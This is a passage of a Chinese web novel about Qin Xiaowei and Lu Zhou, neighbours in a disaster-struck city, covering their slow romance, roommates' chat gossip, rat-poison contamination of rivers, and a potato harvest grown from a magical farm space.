陆昼：“为了给你开门，我衣服都掉地上弄湿了，你不给我点补偿？” 他离得太近，身上沐浴露和洗发水的味道包围了她，秦小薇莫名有些不自在。 秦小薇转过头，小声嘟囔：“你自己弄掉的，关我什么事？” 陆昼轻轻笑了一声，慢条斯理道：“如果不是你来敲门，我急着出去开门，衣服又怎么会掉？秦小薇，你家资丰厚……一件衣服而已，难道还想赖账？” 他的声音很低，说话的时候，气息擦过她的脸颊和耳朵，让她莫名耳热。 秦小薇有些气势不足：“强词夺理……你想要什么赔偿？” 陆昼：“这个……” 他伸手抱住了她，脑袋搭在她的肩膀上，轻轻蹭了蹭。 这个拥抱很轻，他们的上半身几乎没什么接触，秦小薇甚至感觉不到他身体的温度，从他的动作里，秦小薇能感受到他的试探和小心翼翼。 他发丝上的水沾到她的脖子上，弄湿了她的衣领，也乱了她的心绪…… 秦小薇的手僵在空中，片刻之后，她推开了陆昼：“没、没什么事，我就先回家了……” 说着，她拔腿就跑。 等回了家，秦小薇才发现，她回来的时候忘记牵狗了，反而是香肠，因为陆昼没拴狗绳，屁颠屁颠跟在她后面一起回家了。 秦小薇：“……” 秦小薇狠狠揉了一把它的狗头：“香肠，我又不是你的主人，你跟我一起回来干什么？” 香肠蹲在地上冲着她摇尾巴。 想到刚刚那一幕，她犹豫了一下，还是没把狗还回去。 明天、明天再说吧！ 陆昼开着门等了十来分钟，见他等的那个人一直没有出现，他弯腰摸了摸脚边的德牧，笑道：“你主人好像把你忘了？看来你今天只能在我这凑合一晚了……” “汪呜——”朔月似乎是听懂了，它趴在地上，满脸都写着不开心。 秦小薇习惯了晚上抱着狗一起睡，今天晚上，不知道是因为身边没狗、楼上太吵，还是因为那个不算拥抱的拥抱，她晚上竟然失眠了，折腾到了凌晨三点多才勉强睡着…… 早上还得去店里，秦小薇只能忍着困意灌了一杯黑咖啡。 黑咖啡太苦，她喝了一口就皱了眉头，赶紧从空间里拿出一瓶牛奶倒进去，中和咖啡的苦味。 刚喝完咖啡，屋门就被人敲响了。 陆昼牵着狗站在门口：“昨晚跑那么快，狗都不要了？” 听他提到了昨晚，秦小薇轻咳一声，连忙转移话题：“香肠今天要去巡逻吗？” 陆昼摇头：“外面到处都是老鼠药，前段时间，还有只警犬误食了毒老鼠没救回来，不看着它，我不放心……” 秦小薇点点头，把狗换了回来。 市政投放的鼠药十分密集，最开始生产的那批鼠药诱捕效果一般，工厂又针对现在的老鼠，研制了一批“新口味”鼠药，效果非常不错，路上时常能看到死老鼠的尸体。 秦小薇担心朔月中毒，这段时间，她也把朔月看得很严，以前还会放它和小区里的其他宠物狗社交，但这段时间，她都没放它和小伙伴见面。 陆昼：“中午一起吃饭？” 秦小薇：“最近店里很忙，中午没时间。” 陆昼没放弃：“那晚上一起吃饭？” 秦小薇：“晚上也很忙！” 陆昼：“那明……” 秦小薇：“锅里水开了，我去煮早饭，下次见！” 说着，她就直接关上了门。 差点被门板拍脸的陆昼：“……” 他无奈笑了笑：“胆小鬼。” 因为向往阳光，最近很多人都在往地面上搬，市内也有很多工地在施工。 那些新建的小区，都和陆昼他们小区差不多，建筑质量非常好，可以应对各种天灾。 公寓楼附近的人没有之前多，不过经营了几年，健身房的口碑早已打了出去，再加上秦小薇之前一直在发视频宣传，店里重新开业还搞了活动，所以这两天，店里的人流量还挺大的。 秦小薇一直忙活到中午，才停下来喝口水。 两家店的营业模式都差不多，再加上还有一部分老员工，所以大家还算应对自如，并没有出现手忙脚乱的情况。 中午吃饭的时候，她发现，才一个上午，宿舍群里的未读消息就99+了。 【肖琳琳：我们到红洲市了，这里竟然还有新鲜的石榴卖，好甜啊！】 【肖琳琳：我早饭都没吃，光吃石榴去了！】 【肖琳琳：我换了两箱石榴汁，据说是纯石榴鲜榨的，等回了宁市，分给你们。】 【肖琳琳：[图片][图片]】 【范槿：石榴？！地下城还能种石榴树呢？】 担心植物的根系破坏地下城的建筑，种植区的作物，基本上都是种在盆里的，大部分果树根系发达，红浦区根本就没把它们纳入种植计划里。 【肖琳琳：可以啊！现在科技这么发达，地下城想种什么种不出来？】 【肖琳琳：他们种果树也不是为了自己吃，而是拿去和别的地下城换物资，毕竟水果珍贵，还是有很多有钱人愿意花钱尝鲜的。】 【范槿：有钱真好！真希望我也能变成有钱人！实现水果自由！】 【肖琳琳：叔叔不是经常从种植区给你带蓝莓、草莓之类的水果吗？】 【范槿：咱们这儿的水果种类太少了，吃来吃去就那几样，我都吃腻了，我想尝尝别的！】 …… 【范槿：同志们，我刚刚又听到了一个大八卦！】 【范槿：风城那边真的来人了！昨天那个帖子说得是真的！】 【范槿：他们昨天没谈拢，今天上午继续谈，然后不知怎么的，就打起来了！你们是不知道！那些领导打起架来，和超市抢鸡蛋的大妈没什么两样，又抓头发又挠脸……保安拉都拉不开，最后还是叫了我们巡逻队的人过去帮忙，才把他们拉开！】 【段霞：什么帖子？风城不是已经没了吗？怎么又来人了？】 【范槿：[链接]】 【范槿：阿霞，你去工单群翻聊天记录，有人在现场直播，还发了视频。】 …… 【段霞：看完了，确实 挺激烈的！】 【段霞：我今天也打听到了一个消息，说是咱们巡逻队争取到了一块地，之后会盖职工房！】 【范槿：真的吗？那我可以申请吗？房子多大啊？我可以拥有属于自己的单人间吗？】 范槿和巡逻队的其他队员不同，她是宣传部的，不用像其他队员一样，得积累功勋才能转正，她这个岗位的人比较少，因为换了赛道，她之前就转正了。 范妈妈通过车队赚了钱之后，就找关系，给他们一家三口换了房子，他们现在住的房子比之前的公租房面积大一倍，但依旧是一家三口住一屋，屋里还得分出其他的地方当厨房、客厅和储物区。 和她家以前的房子相比，还是有些拥挤的。 【段霞：正式员工都可以申请，我打算把现在的房子退了，申请一间。】 【段霞：屋里没阳光还是不行！】 【段霞：现在地下城不供暖了，衣服洗了之后都不能烘干了，我有件睡衣，我上周三洗的，到这周都没干，昨天还发现它发霉了！】 【范槿：阿霞，你可以去上面拉根绳子晒衣服，这几天阳光好，我的加绒卫衣，洗干净之后晒一天就干了！】 【段霞：得早起抢位置，我晚上回来得太晚了，早上起不来。】 【范槿：让你妈妈帮你晒？或者你拿过来，我早上带出去一起晒了？】 【段霞：我让我弟来吧！养了他这么久，也该干活了！】 【范槿：是的！弟弟就是拿来使唤的！】 …… 【肖琳琳：午饭吃到了新鲜的牛蛙！牛蛙的肉也太嫩了！这几天好幸福啊！】 【肖琳琳：[图片]】 …… 秦小薇也对着自己的午餐拍了张照片，发到群里，和室友们分享了自己的午餐。 【范槿：薇薇，店里今天生意怎么样？忙不忙？】 【秦小薇：忙！人特别多！】 【段霞：薇薇，那你之后是不是不回地下城了？】 【秦小薇：过几天就回，最近重新开张，店里人比较多，我才过来帮几天忙，老店的店长是何玥。】 【范槿：啊？怎么没让你当店长？】 【秦小薇：我自己选的，我觉得留在地下城挺好的！不用担心治安问题，公寓这边自来水都没有，还得下楼自己接水，太麻烦了！】 【段霞：薇薇，你认真的吗？】 【范槿：地下城确实挺安全的，但让我选，我还是会选外面！】 秦小薇和室友们聊了一会，吃完午饭后，她就去睡午觉了。 开业三天的活动过去后，店里的生意渐渐稳定了下来，秦小薇见大家都能应付，把健身房交给她新提拔的店长何玥管理后，就打算带着狗回地下城。 说实话，住了两年多独栋别墅，再回来住这种隔音极差的公寓，她还真有点不习惯。 还真是由俭入奢易，由奢入俭难啊！ 楼下开了家24小时营业的麻将馆，因为房间隔音差，秦小薇每天晚上躺在床上，都能听到楼下搓麻将的声音，不戴耳塞根本睡不着，非常恼人…… 晚上，店里歇业之后，秦小薇回公寓收拾了一些东西，打算开车带朔月回地下城。 她准备关窗的时候，却见楼下停了好几辆警车。 出什么事了？ 很快，秦小薇就听到楼下传来了一阵争吵声。 有热闹看！ 秦小薇想了想，提着行李箱，牵着狗去了五楼。 晚饭都吃完了，也不差这么一会！看完热闹再回去。 五楼的走廊里挤满了人，就算秦小薇长得高，也看不清前面究竟发生了什么。 她只能找邻居打听，她打听完才知道，原来是七楼有户人家因为麻将馆太吵了，晚上一直休息不好，心脏病犯了，进医院了。 她儿子来找麻将馆要说法，但是没有得到满意的回复。他就直接报警了，要求警察介入，强制麻将馆改营业时间，对方还扬言，要是麻将馆不改，他就每天报警，让他没法做生意。 自从Q大的学生和各个研究团队搬回来之后，附近就多了个警察局，而且就开在Q大对面，离他们公寓也很近。 除此之外，巡逻队也派了人过来，二十四小时巡逻。 现在，大家要是在地面上报警，也不会像之前低温的时候那样无人受理。 秦小薇：她知道这家店很吵，但是被吵出心脏病，这也太夸张了吧？ 周围看热闹的人越来越多，十分吵闹。 “那家人是新搬来的吧？咱们这楼不是一直都这么吵吗？” “公租房那边不也挺吵的吗？之前大家挤一个屋的时候更吵，都好几年了，还没习惯呢？” “也不一定，要看邻居还有同屋的人！我之前在地下城住那房子，就挺安静的，一到晚上八点，大家就都睡了，说实话，现在搬回来，还有点不习惯！” “他天天报警也没用吧？警察难不成还会天天来？” “……” 秦小薇原本是想等结果出来，再回去的，但周围看热闹的人实在是太多了，有些人有口臭，还有几人在抽自己卷的烟草。 那烟草点燃后，烟特别大，秦小薇觉得，都能用来熏蚊子了…… 她被呛得直咳嗽，朔月也被挤得很不舒服，秦小薇便带着它挤出人群，回地下城了。 最近一个多月一直都在忙，天天早出晚归，秦小薇决定给自己放两天假，第二天早上，她没去健身房打卡，而是躺在床上睡懒觉，一觉睡到了中午才起来。 傍晚，她扔垃圾回来的时候，就见陆昼站在她家门后，正准备敲门。 秦小薇：“陆昼？你怎么知道我回来了？” 陆昼：“你们店里的员工说的，你最近应该没什么事吧？要不要和我一起出去散散心？” 秦小薇：“散心？宁市还有能看风景的地方？” 接连的天灾过后，宁市被毁得面目全非，国内很多动植物，甚至都灭绝了，秦小薇觉得，与其出去玩，还不如她自己在农场空间里转两圈…… 陆昼：“不是宁市，我明天要去梦城出差，听说那边保留了不少老物件，地下城还建了个博物馆……要不要一起？” 梦城和宁市一样，同属Q省，一起坐动车，不到一个小时就能到，也算很近了。 秦小薇想了想，摇头：“不想去，Q省在闹鼠灾，路上碰到了老鼠群怎么办？” 肖琳琳他们车队就在路上碰到了老鼠群，车队报废了不少车，才从鼠群的包围下逃出来，当时肖琳琳还在群里发了视频。 那视频，光是看着，就让人觉得毛骨悚然。 之前如果不是健身房要装修，秦小薇连地下城都不想出！ 陆昼：“那……我要去梦城收一批物资，你陪我一起去！” 秦小薇瞪了他一眼：“陆昼，你说谎的时候能不能打个草稿？不去！” 陆昼：“我这趟要去很久，你要是不和我一起去，就很多天都见不到我了……” 他放软了声音，可怜巴巴地看着她，像个要被主人抛弃的小狗。 他那双眼睛像是会说话，看得秦小薇莫名心虚：“见不到就见不到，咱俩又不是什么需要天天见面的关系……” 陆昼依旧盯着她，他伸手扯了下她的袖子，小心翼翼道：“那今天晚上一起吃饭？我想吃你钓的虾，我明天一早就要出发……” 秦小薇收回自己的袖子，故作不耐烦道：“晚上吃虾仁饺子。” 陆昼顿时收敛了脸上的表情，笑了起来：“我帮你包饺子！” 秦小薇：这家伙真是…… 送走了陆昼之后，秦小薇打开员工群，和公寓楼那边的员工打听了一下昨晚楼下麻将馆的后续。 昨晚，警察给他们做了调解，警察走之后，麻将馆就暂停营业了，不过今天早上八点，它又开门了，至于会不会恢复成之前 的24小时营业，现在还不知道…… 秦小薇在家里歇了两天，就又回去继续上班了，但第三天晚上，她从健身房下班回来的时候，看到陆昼提着一个行李包，从外面回来。 秦小薇：“你昨天不是去梦城了吗？” 陆昼：“今天事情办完了，所以开车回来了！” 秦小薇：“……”说好的要去很久呢？骗子！ 陆昼：“上车饺子下车面，待会我去你家吃面。” 秦小薇：“……为了两顿饭，你至于吗？” 陆昼：“为了两顿饭不至于，但是这两顿饭，是和你一起吃的……” 秦小薇：“……好土，你别说了。” 陆昼：“……” 她开门回家的时候，陆昼还在后面说：“我先把行李放回家，待会去你家找你！” 秦小薇：“我可没答应！” 十分钟后，陆昼果然过来了，手上还提着两个礼物袋，他直接把礼物从袋子里拿了出来，强行塞到秦小薇的怀里：“给你们带了特产，这个是给小月亮的。” 陆昼给朔月带的是一个项圈，项圈上面挂着一个彩色的琉璃小葫芦，看着十分精巧，给秦小薇的，则是一个娃娃，是一个缩小版的古风建筑。 秦小薇：“这娃娃怎么是这个形状的，好奇怪……” 陆昼：“梦城那边为了纪念之前的梦城博物馆，特地设计的，我觉得挺有意思的，就给你带了一个……喜欢吗？” 秦小薇：“还行吧！” 陆昼：“饭钱都给了，现在可以放我进去了吧？” 秦小薇打开门，让他自己进来。 陆昼：“我两天没出现，你就不问问我，去梦城干了什么？也不好奇梦城那边现在什么情况？” 秦小薇：“你好烦。” 被骂了，陆昼反而笑了起来，他继续开口道：“他们那边有油田，我去谈能源的事了……” 第137章 第137章中毒（双更合一）…… 秦小薇没有打断陆昼,任由他跟在自己身后，絮絮叨叨地说着这两天出差发生的事。 他的效率一如既往地高，两天的时间,不仅和梦城谈成了好几项合作,还代表家里,和那边的合作伙伴谈了好几笔生意…… 秦小薇算了算时间，按照他这日程,他这两天估计都没怎么睡觉。 陆昼跟着她进了厨房,看到备餐台上的东西，他的唇角弯了弯：“水开了,面条可以下锅了，要我帮忙吗？” 秦小薇：“你切肉吧……你回来第一顿，为什么不和家里人一起吃？” 陆昼似笑非笑道：“为什么……你不知道？” 秦小薇：“咳咳,你好好切肉,不要分心！” 吃完了面条，陆昼也不愿意离开，赖在她家沙发上,说要和她分享梦城的风土人情。 秦小薇：整座城都被地震毁了，不到一年建起的地下城,能有什么特别的风土人情？ 秦小薇：“陆昼,你再这么不要脸，我要揍你了！” 说着，她挥了下拳头。 陆昼握住她的拳头,稍微收敛了一些：“那换个话题……你想聊什么？或者，咱们一起玩游戏？” 秦小薇：怎么感觉他有点黏人？ 秦小薇：“我要进空间收东西，没空招待你。” 陆昼：“我陪你一起。我是说……我很久没去牲畜棚看看了，想去看看它们。” 秦小薇也没提他们上周才一起杀了两头羊吃肉的事,她想了想，点头答应了。 农场现在已经升到35级了，但解锁的建筑就只有一家快餐店，解锁的其他物品，也都和快餐店有关。 快餐店现在可以生产四种食品，分别是：草莓奶茶、双拼汉堡、三明治和炸薯条。 每一样都很好吃，秦小薇唯一的遗憾就是，养鸡场只能出产鸡蛋，所以快餐店后续解锁的物品里没有炸鸡，她要是想吃，得自己动手炸。 带着陆昼进入空间后，秦小薇直接把他带到放置桶装水生产线的房子里，她启动了机器，指了指另一边的空桶，开口道：“你把桶放传送带上面，干完活你就可以出去了……” 陆昼不在的这两天，市区某个工地出了一起老鼠药中毒事件，工地上超过一半的人，都在饭后进了医院。 中毒人数太多，工地的人怀疑是有人投毒，立刻报警了。 警察很快查出，他们喝的水是从河里提的，里面含有老鼠药，他们一连喝了好多天，毒素累积到一定程度后终于爆发了——整个Q省都在大量使用老鼠药，这些老鼠药确实杀了不少老鼠，但不可避免地，也造成了很多其他的麻烦。 比如，有人利用老鼠药投毒杀人，以前他们弄不到毒药，现在去外面转一圈，就能拿袋子装一堆回来——如果他没被人发现的话。 还有就是，几场雨后，老鼠药随着雨水流入溪流和湖水中，现在，宁市那些露天的湖水河流都是含毒的。 第一场雨后，市政就公布了这件事，提醒市民不要喝露天的水。 所以，地下城现在用的都是地下水，住在地面上的人，也都去井里提水。 那个工地原本就有用水的需求，工人们用抽水泵连接水管和水龙头，直接从河里抽水，方便他们搅拌水泥什么的，河里的水虽然有毒，但拿来建房子，还是没什么问题的。 但水井离得很远，那个工地上负责做饭的大妈，有几人嫌弃水井离得太远了，每天提水太累了，便偷偷接水龙头里的水，再用净水片处理了，就拿去做饭。 这样，她们“出门”提水的时候，还能多偷会懒，少干点活…… 她们觉得，之前暴雨涨水的时候，河里的水那么脏，还泡过尸体，用净水片处理一下，就能保证她们不生病，这次应该也差不多…… 秦小薇觉得，虽然市政前段时间公布的检测报告显示，地下水目前还没有被污染，但省内一直在大面积投放鼠药，长期下去，地下河被污染也是迟早的事。 她得提前做准备！ 陆昼这两天虽然不在宁市，但他的家人朋友都在宁市，自然也对这边的情况十分关注。 他知道工人集体中毒的事，见秦小薇启动了海水淡化设备，他也没说什么，叹了口气，默默干活。 秦小薇收完黑土地和工坊里的东西后，很快就回来了。 她从仓库里拿了一份薯条，递给陆昼：“吃不吃？” 陆昼：“你刚刚没吃饱？” 秦小薇：“吃饱了，但还能再吃点。” 这薯条是番茄味的，薯条粗细均匀，上面撒满了番茄粉，酸味却不会很重，口感和刚出锅的时候差不多，非常酥脆，秦小薇很喜欢吃。 陆昼：“……” 秦小薇又找了套桌椅过来，她把薯条放在桌子上，她和陆昼则坐在传送带的两边，不断重复着往传送带上面放空桶的动作。 秦小薇：“陆昼，你觉不觉得？咱俩现在特别像工厂流水线上的工人……” 陆昼看了她一眼：“你在车间里吃东西，要扣工资。” 秦小薇：“你怎么还演起来了哈哈哈……” 忙活了一通，秦小薇才放陆昼出去。 虽然让他干了不少活，但他想和她聊天的目的，也算是达到了…… 第二天早上起床后，秦小薇照常带着狗出门上班。 中午吃饭的时候，隔壁炸货店的老板找了过来，秦小薇光顾过他家很多次，又在同一条街上做生意，秦小薇和他还算熟悉，见他有事找自己，便直接把人带去了办公室。 秦小薇：“赵老板，咱们都这么熟了，你有事就直说，不用跟我客气！” 赵老板喝了口水润了润嘴唇，犹豫了一会儿，才开口道：“那我就说了啊！事情是这样的……” 在地下城关了两年多，很多人都想重新搬回地面上生活，市民们有需求，市政 自然也出了相关的政策，一部分土地，被市政收了回来，打算重新建房子。 而普通人则可以回到自己家的原址上自己重新建房子，市政并不会干涉。 但想在原址上建房子，却不是那么容易的，经过这几年的天灾，不少大型器械和工厂都被毁了，别的不说，光是现有的挖土机，就不够他们宁市几百万人使用，那些二十多层的高楼，就算整栋楼的人联合起来，也不一定能建好。 还有，重建房子要在网上提交申请的，需要市政的工作人员审批，工作人员会打电话找原房主一一审核，确定所有人都同意了，才会审批通过。 建不了高楼，就算大家愿意出钱重新盖房子，每个人分到的面积也不会比地下城的公租房大很多，由此就产生了很多扯皮的事…… 有些小区楼层比较高的，觉得重建房子不划算，合计了一下，决定把建房的资格卖出去，换回来的钱大家分了。 失业好几年，再加上中途还有各种各样费钱的“突发状况”，有些人现在的生活是真的很拮据，也很需要这笔钱。 赵老板有个朋友就打算转卖建房资格，他还有个亲戚弄了个建筑队，可以揽下这件事。 他只要出钱，就能在地面上拥有一栋完全属于自己的房子了。 杂货店的生意不错，他们夫妻俩，这两年也存了不少钱。 人工、建房资格再加上建筑材料，要花的钱并不少。 赵老板觉得，花了这么多钱，建一栋房子，只供他们一家人住太浪费了，便想多拉几个人加入，分担成本，他们家也能少出点钱。 说完事情的经过之后，赵老板朝着秦小薇发出邀请：“……我知道你这两年弄了个车队，手上应该也有点积蓄，住地下城实在是太不方便了，想出去晒个太阳，还得排队坐电梯，公租房也没点私人空间！但去外面建房子就不一样了，你能有自己的房间、客厅、卫生间……” 听完赵老板的来意后，秦小薇摇了摇头，拒绝道：“赵老板，我觉得住地下城挺好的，暂时没有搬出去的打算！” 或许就像他说的那样，地下城的房子有很多缺点，但她住的是别墅区，光是地下室，就有两层，她还有个空间农场，天天都能在沙滩上搞太阳浴…… 住惯了独栋别墅，她现在一点都不想住不隔音的楼房，连之前买的公寓都不想回，更别说和别人一起合建楼房了。 赵老板还想再劝，但见她态度坚决，便只能放弃。 临走之前，他还不忘开口道：“你认识的人多，你认识的人里面要是有想建房子的，一定要介绍给我啊！” 秦小薇：“一定！一定！慢走啊！” 想到室友们前两天在群里聊的话题，赵老板离开后，秦小薇打开寝室群，在群里发了一条消息。 【秦小薇：饭饭，我们隔壁炸货铺的老板打算找人一起建房子，只要出钱就行了，其他的他都能搞定，你有没有兴趣？】 【范槿：薇薇，你又不是不知道我一个月工资多少？我现在偶尔还得找我爸要点零花钱，我哪有那么多钱！】 【范槿：自己建房子就不是我能肖想的事，我还是琢磨一下，能不能找关系弄到单位的房子吧！】 【秦小薇：要不你问问阿姨？我觉得她应该会感兴趣。你们单位就算分了房子，应该也没多大吧！】 【范槿：那我晚上回去和我爸妈商量一下？】 【范槿：琳琳，你们现在到哪了？我妈晚上有时间和我打电话吗？】 【肖琳琳：打呗，我们晚上应该不赶路。】 【肖琳琳：还在M省，这边好像还挺安全的，当地人都赶回来了……唉，咱们宁市那批难民。到底什么时候回家呀？】 【肖琳琳：我收了点原石，不知道后面能不能卖出去换点物资。】 【肖琳琳：[图片][图片][图片]】 【肖琳琳：卖不出去也没事，我带回去咱们自己开着玩。】 【段霞：琳琳，你搞这么多东西带回来自用，这趟不会赔本吧？】 【肖琳琳：不会，我前面用路上捡的半车破烂换了半车棉布，后面又用棉布换了不少菜籽油……带回去能换不少钱！】 【肖琳琳：薇薇，那个老板靠谱吗？饭饭，你家要是真的建了房子，带上我呗！咱俩当邻居！】 【秦小薇：老板人还行，但他会不会坑我……这我还真不确定！要是事情定下来了，阿霞，你帮饭饭他们查查！】 段霞工作上一直非常拼命，去年又升职了，以她现在的能力，想在宁市查个人，非常容易。 【段霞：OK！包在我身上。】 之后，秦小薇又在群里和室友们插科打诨地聊了几句，直到她开始打哈欠，才下线午休。 一转眼，大半个月的时间过去了，虽然地下城的街道上依旧时不时就会有只老鼠冒出来，但普通人受到的影响却越来越小。 在和鼠群的“对抗”中，大家总结了很多经验，避免自己被老鼠咬。 因为太多同伴被人类杀死，这些老鼠也开始畏惧人类，并不像刚出现的时候那么大胆，看到一个人，就扑上去疯咬。 晚上，只要稍微弄出点动静，它们就不敢出现…… 某天早上，秦小薇起床后，并没有像往常一样洗漱吃饭，她收拾了一个背包，就牵着狗出门了。 一开门，她就见陆昼在门口等她。 秦小薇：“走吧！我收拾好了！” 陆昼点点头。 早在低温还没结束的时候，种植区就开始为育苗做准备，土地开垦出来之后，更是立刻就安排人移栽。 土豆、玉米是专家专门研究的早熟品种，因此只过了两个月，就可以收获了。 最近，宁市很多地方都忙得不可开交，农用器械不够，他们就在地下城招人，人力挖土豆。 反正现在宁市，最不缺的就是人了！ 陆昼在这批用来育种的土豆里面，混了一些黑土地出产的土豆，说想做个实验。 秦小薇原本以为，这批土豆还要再等一段时间，才能收获，但出乎她的意料，它们竟然和专家们专门研究的早熟品种一起成熟了。 他们今天出门，就是专门去看这批土豆的！ 路上，陆昼还和她说了宁市未来的规划，他说，等粮仓里的存粮充足一些了，他们后面就主要采用“稻稻薯”的种植模式。 就是先种一批极早熟的早稻，之后再种一季晚稻，后面再种一季马铃薯，无缝衔接。 除了“稻稻薯”，部分区域还会采用“油稻薯”和“豆稻薯”的种植模式。 收成大概会比今年少一些，但可以预防连作病害，从长远上来说，还是有利的。 秦小薇撑着脑袋看他：“你不是预警中心的吗？还管种地呢？” 陆昼：“不管，但上面的规划，我总要了解一些……” 路上，路过某片湖的时候，秦小薇看到岸边有不少钓鱼佬自带小马扎，坐在阳光下钓鱼，她打开车窗，朝外面看了看。 秦小薇：“不是说湖水有毒吗？他们还敢出来钓鱼？” 陆昼：“冰封了两年，湖里哪还有鱼，他们肯定会空军回去。” 秦小薇：“那他们还出来？” 陆昼：“他们可以去地下城买鱼，那边有养殖的淡水鱼。” 秦小薇：“陆昼，你怎么这么了解？” 陆昼：“因为我爸最近经常这么干。” 秦小薇：“……”这就是传说中的“钓鱼老永不认输”吗？ 陆昼：“你想钓鱼了？下次我陪你一起？” 秦小薇：“你不是说水里没鱼吗？” 陆昼：“嗯……所以我们出来，还能干点别的。” 秦小薇：“……” 秦小薇：“你别说话了，看路，好好开车！” 他们很快就到了目的地，田里散落着很 多人，大家都在弯腰干活。 挖出来的土豆被人装进蛇皮袋里，一袋袋运了上来。 那些拔出来的茎秆也不会浪费，一部分用于堆肥、改良土壤；还有一部分可以当作牲畜的饲料；除此之外，还能通过专门的设备压缩成生物燃料。 在地下城生活了两年多，所有人都习惯了对资源进行二次利用，尽量做到一点都不浪费。 这里的景色其实并没有多好看，和几年前那些公园、旅游景点根本没法比，但是两年多的极寒天气过后，宁市的植物基本上全都冻死了，在外面看到这一片一望无垠的绿色，秦小薇的心情一下子好了很多。 除了秦小薇和陆昼，路上还有一些其他的路人，专门过来看人家收土豆。 放在以前，专门跑到乡下来看人家收土豆或许会很奇怪，但现在，地下城很多人都这么干，甚至还会有人专门过来帮忙收土豆，就为了体验一下丰收的乐趣。 只能说经历过几年的天灾，以后大家的娱乐活动都变得不一样了。 晨风吹在她脸上，她深吸一口气，唇角不自觉带了一点笑。 陆昼：“上次本来想和你一起在船上野餐的，没想到临时出了变故……咱们今天一起出来郊游，也算是弥补了上次的遗憾了！” 秦小薇：“上次？” 陆昼：“咱们碰到老鼠那次。” 秦小薇：“……”那时候城里藏着不少吃人的难民，他竟然在那个时候约她出去野餐，他就不怕路上遇到危险吗？ 陆昼：“我带了帐篷，咱们先下车搭帐篷？” 秦小薇：“……” 秦小薇：“你还记得咱们今天是来干什么的吗？” 她反应过来了：“好啊！陆昼，你又套路我！” 说着，她直接伸手在他胳膊上捶了一拳。 陆昼第一下没躲过去，但秦小薇第二次出手的时候，他抓住了她的胳膊，笑道：“我错了，我们现在下去干正事！” 虽然他嘴上说着“我错了”，但他脸上分明写着“下次还敢”。 秦小薇：“……” 她抽回手，趁着他没防备，又往他肩膀上捶了一拳。 秦小薇哼了一声，这才开门下车：“咱们的试验田在哪？” 陆昼：“我带你过去。” 他们很早就出门了，秦小薇出门之前没吃早饭，她拿了两个三明治，和陆昼一人一个，他俩吃饭速度都很快，不过走了几步，三明治就被他们消灭完了。 路上，秦小薇忽然想到了一个问题，她停下脚步，喊住了陆昼：“陆昼，之前市政发的公告里不是说河里的水有毒吗？但你看那边，他们直接从河里引水浇地，这种出来的菜和粮食，不会有毒吧？” 陆昼停下脚步，顺着她的视线看了过去，田里有不少沟渠，而沟渠连接的，正是远处的一条河流。 陆昼：“这边不比市区，没投放太多老鼠药，只是微毒，种出来的东西，检测报告显示是正常的……” 秦小薇皱眉：“你确定？” 陆昼：“至少现在没问题。” 至于以后……如果鼠患能够彻底解决，市政不用再投放老鼠药，他们自然也就不用担心水源被污染的问题。 但要是依旧有老鼠源源不断地赶来宁市、Q省，长期下去，土地肯定会带毒，到时候，就算他们专门抽了地下水灌溉，这些从土地里生长出来的作物，也会带毒…… 秦小薇听懂了他的言下之意，心情不由得有些沉重。 还是要彻底解决鼠灾的问题啊！ 陆昼走了过来，安慰她：“天塌下来有高个子顶着呢，别太担心！地下城还有这么多人呢！你过好自己的日子就行了……走吧！试验田就在前面，咱们快到了！” 秦小薇应了一声，跟着他继续往前走。 陆昼：“这段路不好走，你小心摔跤！” 秦小薇：“嗯。” 实验田里的土豆还没收上来，田里的人还在忙碌。 陆昼看向秦小薇：“还要几个小时，你想在这里等着，还是下去一起帮忙！” 秦小薇：“来都来了，干活吧！有没有手套？给我一副！” 秦小薇空间里的菜虽然都有机器人打理，但她之前也种过地、干过农活，再加上她力气大，所以她很快就适应了。 陆昼比她熟练，不过一会，就拔了一堆土豆出来。 忽略他的长相和那身衣服，不知道的，还以为他之前就一直在田里干活呢！ 第138章 第138章土豆（双更合一）…… 农用器械不够分,他们这块地，只能人工收土豆。 两人先把地里的土豆连着茎秆徒手拔出来，之后再拿铁锹,把还留在地里的土豆铲出来。 秦小薇在黑土地里收土豆,每块地出产的土豆都是两斤,但在外面，情况明显不一样。 个别植株,可能是“营养不良”,单个土豆明显偏小，就算根系上连着十来个小土豆,一株土豆苗挖出来的土豆也只有一斤多；还有些土豆苗，结的土豆比较大，一株苗就能出产三斤多土豆,算是很高产了。 这块地的土豆,陆昼找了专人管理，对外就说是从其他地方弄回来的新品种土豆，想在宁市实验一下,地下城很多种子，都是天灾之前,靠他牵线搭桥弄到的,上面的人也没有怀疑。 田里也还有其他人在收土豆，他们忙活到九点多的时候，地里的土豆就全收上来了。 陆昼让其他人给收上来的土豆过秤,他和秦小薇则脱了手套在一旁等着。 结果很快就出来了，试验田一亩土豆苗的种植密度，从3500株到4500株不等，但收上来土豆的斤数,几乎都是植株的数量乘以二，和空间里黑土地的产出差不多，只是花的时间更长了一些…… 秦小薇拉着陆昼站远了一些，她凑近他，小声开口道：“这个结果，是不是不太对？” 她之前听陆昼说过，早熟的土豆，种植密度比晚熟的高，但收获的土豆却不如晚熟的，比如其他人正在收获的土豆，一亩地下了4000多株土豆苗，但收上来的土豆，亩产大多是5000斤左右，必须得有更好的种植条件和技术支持，才能突破6000斤。 但她空间里那些土豆，4000多株土豆苗，可以收获8000斤土豆，还和它们一样，属于“早熟”品种。 陆昼连眉毛都没动一下：“很正常，毕竟是实验室弄出来的‘新品种’！” 秦小薇想了想，没再多说什么，他能解释清楚种子的来源就行了！ 等土豆都称好了，陆昼又和负责试验田的人聊了几句，又找袋子装了一大袋土豆，才折回车上，把两只狗从车上放下来。 陆昼：“在附近逛逛？” 秦小薇四处看了看，附近都是农田，大家都在劳作，其实没什么好逛的，但难得出来一趟，她也就没有拒绝。 秦小薇：“等下，我给朔月戴个嘴套，免得它乱咬东西……” 陆昼：“嗯。” 在车里关了好几个小时，两只狗放出来之后都很兴奋，一个劲往前冲，秦小薇干脆放开狗绳，让它在路上撒欢。 江安区这边，放一只狗单独行动，还是挺危险的，毕竟对某些人来说，狗肉也是难得的美味。 不过他们两个都在后面跟着，倒是不用担心这一点。 两只狗实在是太能跑了，不知不觉，他们也越走越偏，路上越来越荒凉，连一点绿色都看不到。 秦小薇看了下时间，十一点半了，他们已经出来五个多小时了。 秦小薇：“我们回去吧！” 陆昼应了声“好”。 秦小薇：“朔月、香肠，回来了！咱们该回家了！” 两只狗像是玩疯了，依旧在路上撒欢，她喊了 几句，它们却丝毫没有回头的意思。 陆昼无奈道：“你和香肠它们在这等我，我回去取车，待会来接你们。” 秦小薇：“行。” 